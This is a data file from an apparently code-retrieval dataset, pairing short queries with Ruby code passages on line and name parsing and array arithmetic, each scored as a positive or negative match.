query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
82d2e8487ac3aecbe0e29a1f7e36e76f
TODO: handle bad lines TODO: handle wrong names
[ { "docid": "13ac4bba6443573804136fd8f4918fde", "score": "0.0", "text": "def initialize(user, card_list = '')\n raise 'User not supplied' unless user\n\n @user = user\n\n @cards = card_list.lines.map do |line|\n count, name = line.strip.split(/\\t|\\;/)\n mono_card_array(count, name)\n end\n\n @cards.flatten!\n @cards.compact!\n @cards.shuffle!\n @cards.each_with_index { |c,i| c.order = i }\n end", "title": "" } ]
[ { "docid": "ea55e42daa86bc1cb42fca7a1602d7a0", "score": "0.6509178", "text": "def get_line_name(line)\n case line\n when :line_n then \"Line N\"\n when :line_l then \"Line L\"\n when :line_6 then \"Line 6\"\n else\n \"Line does not exist\"\n end\nend", "title": "" }, { "docid": "6f22feef737e6f0eb4952ebc1d3beb92", "score": "0.6419584", "text": "def test_bad_parse_line\n\t\tassert_raises \"Entry string invalid (Runtime Error)\" do\n\t\t\[email protected]_line \"0|849|Name1>Name2(100)|843984.94328098\"\n\t\tend\n\tend", "title": "" }, { "docid": "58f43ac01d57a99941759a36f4dfecb8", "score": "0.6399884", "text": "def sanitize_names\n if @status == @@status[:VALID]\n names = @line.scan(/\\d\\s.*\\s.*\\s.*\\s.*F13/)[0].split(\" \")\n names.delete(names.last)\n names.delete(names.first)\n names = remove_invalid_chars(names)\n set_names(names)\n @@log.info(\"WARNING: Attempted rescue of name values from #{names} to last: #{@last}, first: #{@first}, middle: #{@middle}, short: #{@short}.\")\n end\n end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.63885456", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.6387199", "text": "def line; end", "title": "" }, { "docid": "74550114df5d1c31b9f31ceab820347a", "score": "0.63664234", "text": "def missed_lines; end", "title": "" }, { "docid": "74550114df5d1c31b9f31ceab820347a", "score": "0.63664234", "text": "def missed_lines; end", "title": "" }, { "docid": "04a8ae0747a4c4c0625c79a278a8b8f1", "score": "0.6271307", "text": "def unknown(line)\n end", "title": "" }, { "docid": "860be10912390d9f218c4bf67cc0dec3", "score": "0.6207062", "text": "def line_name( line )\n line_name = \"\"\n\n if line.to_s == \"n\"\n line_name = \"N\"\n elsif line.to_s == \"six\"\n line_name = \"6\"\n elsif line.to_s == \"l\"\n line_name = \"L\"\n end\n\n return line_name\nend", "title": "" }, { "docid": "1e0e2d55a7bdd895dba2eed33e95b707", "score": "0.6152932", "text": "def definition_for_owner(line); end", "title": "" }, { "docid": "1e0e2d55a7bdd895dba2eed33e95b707", "score": "0.6152932", "text": "def definition_for_owner(line); end", "title": "" }, { "docid": "4f5711a1ae0114b8f59f35b6bdcc7fae", "score": "0.61512804", "text": "def test_parse_file_line_wrong_keyword\r\n input = ['Magic']\r\n assert_equal @arg_checker.parse_file_line(input), 'INV'\r\n assert_equal [4, \"Magic\", 0], @arg_checker.error_data\r\n end", "title": "" }, { "docid": "4c038d31cc62b4b05be4c0571ca444cc", "score": "0.61440414", "text": "def get_name(line)\n line.split('\\n').each do |l|\n if l !~ INVALID_NAME_PATTERN\n return l.gsub(/(\\\\r|\\\\)/,\"\").strip\n end\n end\n return \"\"\nend", "title": "" }, { "docid": "3e64f5b4dbf8bc337666e62b2c4e396f", "score": "0.6052929", "text": "def potential_lines(filename); end", "title": "" }, { "docid": "e7c22e1fccee31e44707596e0d1155fe", "score": "0.60326314", "text": "def file_and_line; end", "title": "" }, { "docid": "e7c22e1fccee31e44707596e0d1155fe", "score": "0.60326314", "text": "def file_and_line; end", "title": "" }, { "docid": "f8c96f9d5d473fb46981cf74730a8251", "score": "0.60265124", "text": "def postprocess_error(line, name)\n if name == 'webpiraten'\n regex_comp = /webpiraten\\.erl:\\d*:/\n code = @process_code\n else\n regex_comp = /prewebpiraten\\.erl:\\d*:/\n code = @precompile_code\n end\n if line =~ regex_comp # process message only if there's the filename\n index_begin = line.index(':')\n index_end = line.index(':', index_begin+1)\n if index_begin && index_end && index_begin < index_end\n line_number = line[index_begin+1, index_end].to_i\n i = 1\n new_line_number = ''\n code.each_line do |lin|\n # search for original line number in the user's code\n # and store it in new_line_number\n if i == line_number\n line_begin = lin.index(\"#{VM_PREFIX}_(\")\n line_end = lin.index(\"#{VM_PREFIX}_)\")\n if line_begin and line_end\n new_line_number = lin[line_begin+\"#{VM_PREFIX}_(\".length...line_end]\n end\n end\n i += 1\n end\n\n # remove old line number\n line.slice!(index_begin+1...index_end)\n\n if new_line_number == ''\n line.slice!(0..index_begin+2)\n else\n # add the new line number to the error and exchange filename with 'line'\n line = line.insert(index_begin+1, new_line_number)\n line = line.insert(index_begin, 'line')\n line.slice!(0...index_begin)\n end\n # remove specific module information in the error message for the used\n # module 'webpiraten' or 'prewebpiraten'\n line.slice!(\"#{name}:\")\n end\n end\n {:type => :error, :message => line}\n end", "title": "" }, { "docid": "cc9b6f52851a215a1d6949ca9ab70f9d", "score": "0.59952796", "text": "def line_prefix; end", "title": "" }, { "docid": "b0a859c2281e2e2a580d881ed975eb61", "score": "0.5979984", "text": "def definition_line_for_owner(line)\n if line =~ /^def (?:.*?\\.)?#{Regexp.escape(original_name)}(?=[\\(\\s;]|$)/\n \"def #{original_name}#{$'}\"\n else\n raise CommandError, \"Could not find original `def #{original_name}` line to patch.\"\n end\n end", "title": "" }, { "docid": "dd7b2ec0f06dbc07bcfc0d9f9c9ef2f1", "score": "0.5971657", "text": "def line(line_no); end", "title": "" }, { "docid": "dd7b2ec0f06dbc07bcfc0d9f9c9ef2f1", "score": "0.5971657", "text": "def line(line_no); end", "title": "" }, { "docid": "b626bac54f1a38c8c618830c64fa7340", "score": "0.5897071", "text": "def reserved_leftover_lines; end", "title": "" }, { "docid": "ee46056db70ce3e21a75f44ede5f34f2", "score": "0.5874557", "text": "def user_handle_single_line(line)\n end", "title": "" }, { "docid": "ff9feb12b2bfc0e67bda99a9a4518262", "score": "0.5866976", "text": "def first_line; end", "title": "" }, { "docid": "ff9feb12b2bfc0e67bda99a9a4518262", "score": "0.5866976", "text": "def first_line; end", "title": "" }, { "docid": "ff9feb12b2bfc0e67bda99a9a4518262", "score": "0.5866976", "text": "def first_line; end", "title": "" }, { "docid": "ff9feb12b2bfc0e67bda99a9a4518262", "score": "0.5866976", "text": "def first_line; end", "title": "" }, { "docid": "4742f6d3d9c9674fa0270d198628440f", "score": "0.5866749", "text": "def proper_nouns(line)\n\t\nend", "title": "" }, { "docid": "eef67a097f67a1e41eec35e15a14f80a", "score": "0.5866036", "text": "def _parse_string(lines)\n\tlines = lines.select{|l| l.include?(\"//\") == false } # skip comment lines of any kind\n self.requirements = lines.select{|line| line.include?(\"requires\") and line.include?(\":\") }.collect{|line| line.split(\":\")[0].gsub(/^.*requires/, '').strip }\n self.name = lines[0].split(\"=\")[0].strip\n end", "title": "" }, { "docid": "1f30d589c23b7e44815b37879ecd814b", "score": "0.58655035", "text": "def do_line(line)\n\t\tend", "title": "" }, { "docid": "5cd00bff529d859bdc0bd3b15e3999ba", "score": "0.5863332", "text": "def line=(_arg0); end", "title": "" }, { "docid": "5cd00bff529d859bdc0bd3b15e3999ba", "score": "0.5863332", "text": "def line=(_arg0); end", "title": "" }, { "docid": "5cd00bff529d859bdc0bd3b15e3999ba", "score": "0.5863332", "text": "def line=(_arg0); end", "title": "" }, { "docid": "5cd00bff529d859bdc0bd3b15e3999ba", "score": "0.5863332", "text": "def line=(_arg0); end", "title": "" }, { "docid": "5cd00bff529d859bdc0bd3b15e3999ba", "score": "0.5863332", "text": "def line=(_arg0); end", "title": "" }, { "docid": "5cd00bff529d859bdc0bd3b15e3999ba", "score": "0.5863332", "text": "def line=(_arg0); end", "title": "" }, { "docid": "5cd00bff529d859bdc0bd3b15e3999ba", "score": "0.5863332", "text": "def line=(_arg0); end", "title": "" }, { "docid": "5cd00bff529d859bdc0bd3b15e3999ba", "score": "0.5863332", "text": "def line=(_arg0); end", "title": "" }, { "docid": "e5765b3c7c1c84c9be5f73cfe695dfb3", "score": "0.58588314", "text": "def header_line; end", "title": "" }, { "docid": "41cd4ecae805e8207632aa9d4c1a8ca7", "score": "0.5846786", "text": "def unknown_line_indicator; end", "title": "" }, { "docid": "d26d678ea0276ed1889547911686dc2e", "score": "0.5839861", "text": "def rubbishness(name); end", "title": "" }, { "docid": "d26d678ea0276ed1889547911686dc2e", "score": "0.5839861", "text": "def rubbishness(name); end", "title": "" }, { "docid": "85c0fbcf2ad6e3b50356ca91db78b66c", "score": "0.5819435", "text": "def line_suffixes; end", "title": "" }, { "docid": "6fd9336ef4b412b826450e906930fb0d", "score": "0.58107924", "text": "def irrelevant_line(source_line); end", "title": "" }, { "docid": "85df5f173e997e6348d02c3eb8103622", "score": "0.5805212", "text": "def test_good_parse_line\n\t\tline = \"0|849|Name1>Name2(100)|8347000.834092000|93a3\"\n\t\tresult = @methods.parse_line line\n\t\tassert_equal [\"0\", \"849\", \"Name1>Name2(100)\", \"8347000.834092000\", \"93a3\"], result\n\tend", "title": "" }, { "docid": "b05093553bed7cc8630e5450a09f64ec", "score": "0.58005416", "text": "def source_line=(_); end", "title": "" }, { "docid": "5bc297fdb60b44fda21e51b96ff324f5", "score": "0.57897615", "text": "def definition_line_for_owner(line)\n if line =~ /^def (?:.*?\\.)?#{Regexp.escape(original_name)}(?=[\\(\\s;]|$)/\n \"def #{original_name}#{$'}\"\n else\n raise CommandError, \"Could not find original `def #{original_name}` line to patch.\"\n end\n end", "title": "" }, { "docid": "b033b021d7eb082fbd410d171cdb69be", "score": "0.57856846", "text": "def whisper(_line)\n raise 'overload this method'\n end", "title": "" }, { "docid": "85354ae11ad81bac2dad24107eb7556e", "score": "0.57825124", "text": "def register_line()\n $lined_description.each_index { |line|\n # Match for FK and normal data type columns.\n if $lined_description[line].match(/foreign key(\\s*)\\((\\s*)#{Regexp.escape(@name)}(\\s*)\\) from #{Regexp.escape(@access_path)}|#{Regexp.escape(@name)} #{Regexp.escape(@data_type)} from #{Regexp.escape(@access_path)}(\\s*)(\\w*)(\\s*)(\\w*)/i)\n @line = line\n if $argD == \"DEBUG\"\n puts \"Column found at line #{@line + 1} of #{$argF}\"\n end\n break\n if $argD == \"DEBUG\"\n puts \"Line #{line + 1}\"\n end\n end\n }\n end", "title": "" }, { "docid": "fe269a53915cfb2e2494f748e0e23777", "score": "0.5780703", "text": "def process_line(line); end", "title": "" }, { "docid": "fe269a53915cfb2e2494f748e0e23777", "score": "0.5780703", "text": "def process_line(line); end", "title": "" }, { "docid": "fe269a53915cfb2e2494f748e0e23777", "score": "0.5780703", "text": "def process_line(line); end", "title": "" }, { "docid": "a41507691bce7f8da668692970769e12", "score": "0.5771014", "text": "def clean_invokation(line)\r\n\tsemi_split = line.split(';')\r\n\tcomment = semi_split[1].strip\r\n\tfn_split = semi_split[0].split(',')\r\n\tfunction_name = fn_split[fn_split.size() - 1].strip\r\n\treturn function_name\r\nend", "title": "" }, { "docid": "277e0ccc9333875ba91f359948ae4778", "score": "0.5763971", "text": "def duplicated_name; end", "title": "" }, { "docid": "7a6da5dc83de1f55851c542c083b5eb7", "score": "0.57580566", "text": "def source_line; end", "title": "" }, { "docid": "635c57d7801887fa6921c9b930b6f89d", "score": "0.57539237", "text": "def test_incorrectly_formatted_line\n\t assert_output(\"Line 0: Could not parse line 'Not a line'\\n\") {@checker.parse_block('Not a line', 0)}\n end", "title": "" }, { "docid": "57ff76f52855153f1a169a4318bd58d9", "score": "0.57478714", "text": "def test_parse_headword_and_reading\n entry = HSKEntry.new\n entry.parse_line('3,4,爸爸,ba4 ba5,\"(informal) father; CL:個|个[ge4],位[wei4]\"')\n assert_equal(\"爸爸\",entry.headword_simp)\n assert_equal(\"ba4 ba5\",entry.pinyin)\n assert_equal(\"4\",entry.grade)\n assert_equal('3,4,爸爸,ba4 ba5,\"(informal) father; CL:個|个[ge4],位[wei4]\"',entry.original_line)\n end", "title": "" }, { "docid": "7c5edfa9034a70e63cda720d8c12b13b", "score": "0.57454467", "text": "def should_ignore?(line); end", "title": "" }, { "docid": "7c5edfa9034a70e63cda720d8c12b13b", "score": "0.57454467", "text": "def should_ignore?(line); end", "title": "" }, { "docid": "775a6f1c1a8f0923032288ab15e2341f", "score": "0.572866", "text": "def line=(line); end", "title": "" }, { "docid": "775a6f1c1a8f0923032288ab15e2341f", "score": "0.572866", "text": "def line=(line); end", "title": "" }, { "docid": "775a6f1c1a8f0923032288ab15e2341f", "score": "0.572866", "text": "def line=(line); end", "title": "" }, { "docid": "893273010f1fdadf30076c481cefc4ed", "score": "0.5708067", "text": "def line_num; end", "title": "" }, { "docid": "65f9a9bac1bc7520a9884a5920578587", "score": "0.56966686", "text": "def reqname\n # All but first character of first word of last line, if complete\n @lines[-1][0][1..-1] if complete?\n end", "title": "" }, { "docid": "1c43caa1ab6a5803c5b23f3f9b8de85a", "score": "0.5694039", "text": "def line=(_); end", "title": "" }, { "docid": "1c43caa1ab6a5803c5b23f3f9b8de85a", "score": "0.5694039", "text": "def line=(_); end", "title": "" }, { "docid": "1c43caa1ab6a5803c5b23f3f9b8de85a", "score": "0.5694039", "text": "def line=(_); end", "title": "" }, { "docid": "d6c833811bf7c98b94653dce057f83dc", "score": "0.56912315", "text": "def clean_invokation(line)\n\tsemi_split = line.split(';')\n\tcomment = semi_split[1].strip\n\tfn_split = semi_split[0].split(',')\n\tfunction_name = fn_split[fn_split.size() - 1].strip\n\treturn function_name\nend", "title": "" }, { "docid": "648fdd978ff572c16403d12f719317d2", "score": "0.5689754", "text": "def remove_name_field\n @lines.map!{ |line|\n after_name = line.split( /#{type}\\|/ )[1] # want second index, not last index!\n line = ( after_name ? after_name : line ) \n }\n end", "title": "" } ]
c311d84a9115ea0123ed1feef002280f
[] rather than loop, is it possible to compute?
[ { "docid": "f7fbbb021814f530c14d2e3923388661", "score": "0.0", "text": "def solution(array, shift_count)\n \"output #{array} #{shift_count}\"\nend", "title": "" } ]
[ { "docid": "7f1a388f0a0da236132e568fef7befae", "score": "0.6671313", "text": "def compute(ary)\n return nil if ary.nil?\n ary.map do |x, y|\n y ||= 0\n x + y \n end\nend", "title": "" }, { "docid": "3944f56d0d810f8952a9fd577beb2161", "score": "0.6226684", "text": "def reduce\n \n end", "title": "" }, { "docid": "b4b449404da82a697ec23442116ead7a", "score": "0.62221366", "text": "def array(n)\n n.inject(:+)\nend", "title": "" }, { "docid": "de8d5e6527704115f51e02f15035fe19", "score": "0.6200898", "text": "def compute(a)\n ind = contains_array?(a)\n a[ind] = compute(a[ind]) if ind > 0\n return evaluate(a)\n end", "title": "" }, { "docid": "17966ac7ffda6a58d4fd24706fc4ee23", "score": "0.61427575", "text": "def iterations; end", "title": "" }, { "docid": "c75307357c2d0ab7a8524ca93ec24870", "score": "0.6122688", "text": "def multiply valArray\n total = 1\n for i in valArray\n total *= i \n end\n total\nend", "title": "" }, { "docid": "21258bdff494d9de02079394410dbb2f", "score": "0.6082464", "text": "def calculate\r\n values = []\r\n for n in 0...size\r\n values << @equation.call(n)\r\n end\r\n @values = values\r\n @data = values\r\n end", "title": "" }, { "docid": "6f572ad9de96643f03be2b9f79a2367a", "score": "0.6035795", "text": "def compute\n\t\twhile @current != 1\n\t\t\tif (@current % 2) == 0\n\t\t\t\t@current = @current / 2\n\t\t\telse\n\t\t\t\t@current = (3 * @current) + 1\n\t\t\tend\n\t\t\tif not $d_fast then @seq[@count] = @current end\n\t\t\t@count += 1\n\t\tend\n\t\t@count += 1\n\tend", "title": "" }, { "docid": "97d51b6e406073949a31891485df7b21", "score": "0.5994274", "text": "def array_calc(array)\n return array.sum\nend", "title": "" }, { "docid": "bba4494e9b0457647ad9c463962271a9", "score": "0.59918237", "text": "def array_of_other_products(array)\n total = array.reduce(:*)\n p total\n array.map do |number|\n p number\n total / number\n end\nend", "title": "" }, { "docid": "1b8bff146504b5eb89bd52fd21dcd933", "score": "0.5988173", "text": "def reduce \n end", "title": "" }, { "docid": "b17c978622c9458eb184c0216aabc585", "score": "0.59824336", "text": "def _reduce_216(val, _values, result)\n result = []\n \n result\nend", "title": "" }, { "docid": "28833073799b284415947f656f60c5b5", "score": "0.5978112", "text": "def compute(array)\n array.each_slice(4) do |code, pos1, pos2, pos3|\n case code\n when 1\n add(array, pos1, pos2, pos3)\n when 2\n multiply(array, pos1, pos2, pos3)\n when 99\n break\n end\n end\n\n array[0]\nend", "title": "" }, { "docid": "3e22a799396ba408db98c1f73107fdee", "score": "0.5928593", "text": "def cal()\n @v = 0.0;\n @n.times {|i|\n @v += @wn[i] * @xn[i];\n }\n nil;\n end", "title": "" }, { "docid": "6357fe8704fa519be20c8691a39e21c8", "score": "0.59174037", "text": "def promedio_elem_arr(arreglo)\n suma = 0.0\n arreglo.each do |value|\n suma += value\n end\n promedio = suma / arreglo.length\n promedio\nend", "title": "" }, { "docid": "99f3b261678f07011e4971e931b5c573", "score": "0.59104675", "text": "def _reduce_343(val, _values, result)\n result = []\n \n result\nend", "title": "" }, { "docid": "eeb93175385ef9b13172aeedd41cfac7", "score": "0.590626", "text": "def operate nums\n nums.inject { |memo, n| @op[memo, n] }\n end", "title": "" }, { "docid": "a72a09bda9ceadccc8b9c2cf9054bdc7", "score": "0.59049946", "text": "def run_tot(array)\n total = 0\n array.inject([]) do |result, element|\n total += element\n result << total\n \n end\nend", "title": "" }, { "docid": "ad4b622d9603064b54931c1cb6dcc590", "score": "0.5895467", "text": "def running_total(array)\r\n sum = 0\r\n array.map {|n| sum += n}\r\nend", "title": "" }, { "docid": "8243e5a625935a4272fa02dfb3e18305", "score": "0.58934945", "text": "def _reduce_80(val, _values, result)\n result = new_assignable val[0]\n \n result\nend", "title": "" }, { "docid": "8243e5a625935a4272fa02dfb3e18305", "score": "0.58934945", "text": "def _reduce_80(val, _values, result)\n result = new_assignable val[0]\n \n result\nend", "title": "" }, { "docid": "94028a3fc93ae19afb2292ae0073321d", "score": "0.5887697", "text": "def calc\n res1 = 0\n res2 = 0\n for i in 1..100\n res1+=i*i\n res2+=i\n end\n res2*res2 - res1\nend", "title": "" }, { "docid": "8c28b8862e6f24a1ff689ae15b7d69fd", "score": "0.5887267", "text": "def calcAll\n vector = Hash.new\n @seqs.each {|seq|\n calc(seq, vector)\n }\n return vector\nend", "title": "" }, { "docid": "94746e4f48c7b018e26e416f49a7b0ef", "score": "0.58787155", "text": "def my_square_equations(array)\n array.map!{ |i| i * i}\nend", "title": "" }, { "docid": "1301c1f3ff9ead21fd96460400040862", "score": "0.5868725", "text": "def _reduce_75(val, _values, result)\n result = new_assignable val[0]\n \n result\nend", "title": "" }, { "docid": "25c929e11fb606bd51723f780957e76d", "score": "0.58672136", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "25c929e11fb606bd51723f780957e76d", "score": "0.58672136", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "25c929e11fb606bd51723f780957e76d", "score": "0.58672136", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "25c929e11fb606bd51723f780957e76d", "score": "0.58672136", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "25c929e11fb606bd51723f780957e76d", "score": "0.58672136", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "25c929e11fb606bd51723f780957e76d", "score": "0.58672136", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "25c929e11fb606bd51723f780957e76d", "score": "0.58672136", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "25c929e11fb606bd51723f780957e76d", "score": "0.58672136", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "5e7075949f5831a3f1db871eeecc0e94", "score": "0.5866689", "text": "def compute_a(row)\n @a[row+1] = @antiderivatives[row].call(@z[row])\n end", "title": "" }, { "docid": "472d08c0e79695099ebdeaf96df22f3b", "score": "0.58603114", "text": "def grow(x) \n x.reduce(:*)\nend", "title": "" }, { "docid": "1807d7d7ba43f634db0c03baaa9042a3", "score": "0.5859949", "text": "def multiply_els(arr)\n array = arr.my_inject do |sum, num|\n sum * num\n end\n return array\nend", "title": "" }, { "docid": "0f655b5bea1b208f1b4e791e16c1ebe0", "score": "0.5855974", "text": "def iterations=(_arg0); end", "title": "" }, { "docid": "9a12bc31a3be44a9a691fceba6c42be7", "score": "0.5855511", "text": "def running_total2(array)\r\n sum = 0\r\n array.each_with_object([]) do |number, array2|\r\n array2 << (sum += number)\r\n end\r\nend", "title": "" }, { "docid": "c246565e2d8d258cfbf2e7f0f4dbde96", "score": "0.58547086", "text": "def running_total(arr)\n y = 0\n new_arr = arr.map do |x|\n y += x\n\n end\n p new_arr\nend", "title": "" }, { "docid": "d044f45a46010f9d8cccee92a0c02b8b", "score": "0.58539003", "text": "def _reduce_84(val, _values, result)\n result = new_assignable val[0]\n \n result\nend", "title": "" }, { "docid": "d044f45a46010f9d8cccee92a0c02b8b", "score": "0.5853326", "text": "def _reduce_84(val, _values, result)\n result = new_assignable val[0]\n \n result\nend", "title": "" }, { "docid": "e76db7ab730885d71a8909a239cc71ac", "score": "0.584349", "text": "def running_total(array)\r\n sum = 0\r\n array.map{|value| sum = sum + value }\r\nend", "title": "" }, { "docid": "32205c43dbe5ea6975295390095433d3", "score": "0.58412254", "text": "def general_calculate(list, i)\n result = Array.new\n list.each do |element|\n result.push(element[i].to_i)\n end\n result\n end", "title": "" }, { "docid": "3b317bf3a8d9607ef96cac83690e18d3", "score": "0.58403444", "text": "def compute_squares(arr)\n\n square_array = []\n\n i = 0\n while i < arr.length\n square_array.push(arr[i] * arr[i])\n i += 1\n end\n\n square_array\n\nend", "title": "" }, { "docid": "9f62486dce5ac73795bf4f0fe5f20fd1", "score": "0.5840226", "text": "def running_total(array)\n total = 0\n array.map do |num|\n total += num\n end\nend", "title": "" }, { "docid": "cb413a5e3265e87d0e6757915955aa8c", "score": "0.58374894", "text": "def p1\n (1...1000).reduce(0) do |acc, el|\n if el % 5 == 0 || el % 3 == 0\n acc + el\n else\n acc\n end\n end\nend", "title": "" }, { "docid": "2e530ccbc024a60e50b43413d4306a6d", "score": "0.5830415", "text": "def compute(ary)\n return nil if ary == nil \n ary.map { |a, b| b == nil ? a : a + b }\nend", "title": "" }, { "docid": "765465caed021652d788389ae1b19093", "score": "0.58176637", "text": "def compute_squares(arr)\n output = []\n arr.map do |num|\n output.push(num ** 2)\n end\n output\nend", "title": "" }, { "docid": "0705c83ff1b96bcba4d31758bef4a39c", "score": "0.5810842", "text": "def gorilla\n nb = []\n for i in 0..5\n nb[i] = i * i \n end\n p nb\nend", "title": "" }, { "docid": "8fdf3e2370d85e9e895282301a2e0f1f", "score": "0.58080304", "text": "def cubed(array)\n cubed = []\n array.each do |array|\n cubed << array ** 2\n end\n cubed\nend", "title": "" }, { "docid": "1a03a433d57dbd95fb38ee8ad18e7813", "score": "0.5807642", "text": "def _reduce_27(val, _values, result)\n @handler.start_array\n result\nend", "title": "" }, { "docid": "c00d7380f6990022354be4862e77efc1", "score": "0.5803313", "text": "def _reduce_95(val, _values, result)\n result = new_assignable val[0]\n \n result\nend", "title": "" }, { "docid": "c00d7380f6990022354be4862e77efc1", "score": "0.5803313", "text": "def _reduce_95(val, _values, result)\n result = new_assignable val[0]\n \n result\nend", "title": "" }, { "docid": "e011f0bd971ee31cd802d7eef4f0c369", "score": "0.57966346", "text": "def running_total(array)\n results = []\n array.size.times do\n results << array.inject(:+)\n array.pop\nend\n results.reverse\nend", "title": "" }, { "docid": "0c0cf7b5bc0c94bfc93eda1329971b76", "score": "0.57960033", "text": "def run_tot(array)\n array.inject([]) do |result, element|\n if result.empty? == true\n result << element\n else\n result << result.last + element\n end\n end\nend", "title": "" }, { "docid": "dc74c99b620071ed8030599028e53556", "score": "0.57920253", "text": "def calculate_ace_sets(arr)\r\n result = []\r\n\r\n arr.each do |item|\r\n sum = 0\r\n item.each { |i| sum += i }\r\n result << sum\r\n end\r\n\r\n result\r\nend", "title": "" }, { "docid": "8980e5ab5a6efd7f54ede85aef2aff98", "score": "0.57919264", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n\n result\nend", "title": "" }, { "docid": "8980e5ab5a6efd7f54ede85aef2aff98", "score": "0.57919264", "text": "def _reduce_120(val, _values, result)\n result = [ val[0] ]\n\n result\nend", "title": "" }, { "docid": "18f26795a52b2ee7236545a2ef1c382f", "score": "0.57902414", "text": "def x1; @x - SIZE/2 end", "title": "" }, { "docid": "3d9019ccfd1daf8929d97fcd1ea58456", "score": "0.57888967", "text": "def calculate(starting_value, operations)\n\n result = [starting_value]\n\n operations.each do |op|\n result << op.last\n result = [result.reduce(op.first)]\n end\n\n result.first\nend", "title": "" }, { "docid": "9a14817d5d31600540d7e2e4e3c70829", "score": "0.57888734", "text": "def calculate_product (array)\n array.inject(:*)\nend", "title": "" }, { "docid": "7b31af3fc3684caa9cc9092697532bfe", "score": "0.57856107", "text": "def running_total(array)\n sum = 0 # need to iniialize a variable before you can use it, duh\n array.map do |element|\n sum += element\n end\nend", "title": "" }, { "docid": "479b2ac59894d48761ca1ce80411f397", "score": "0.57853806", "text": "def example1()\n\tarr = 1.upto($limit).each_with_index.map {|index| if (divisorSum(index) > index + 1) then index end}.compact\n\t#arr.each_with_index { |n,index| if(n.nil? == false) then printf \"index %d = %d\\n\",index, n end }\n\t#p divisorSum(16)\n\tp arr\n\tarr = arr.product(arr)\n\t#p arr\n\t#p \"---------------------\"\n\tarr = arr.map {|mylist| mylist.reduce(:+) }.uniq!\n\ttotal = 0\n\t1.upto($limit) do |index|\n\tif(arr.include?(index) == false) then\n\t\t\ttotal = total + index\n\t\t\t#p index\n\t\tend\n\tend\n\ttotal\nend", "title": "" 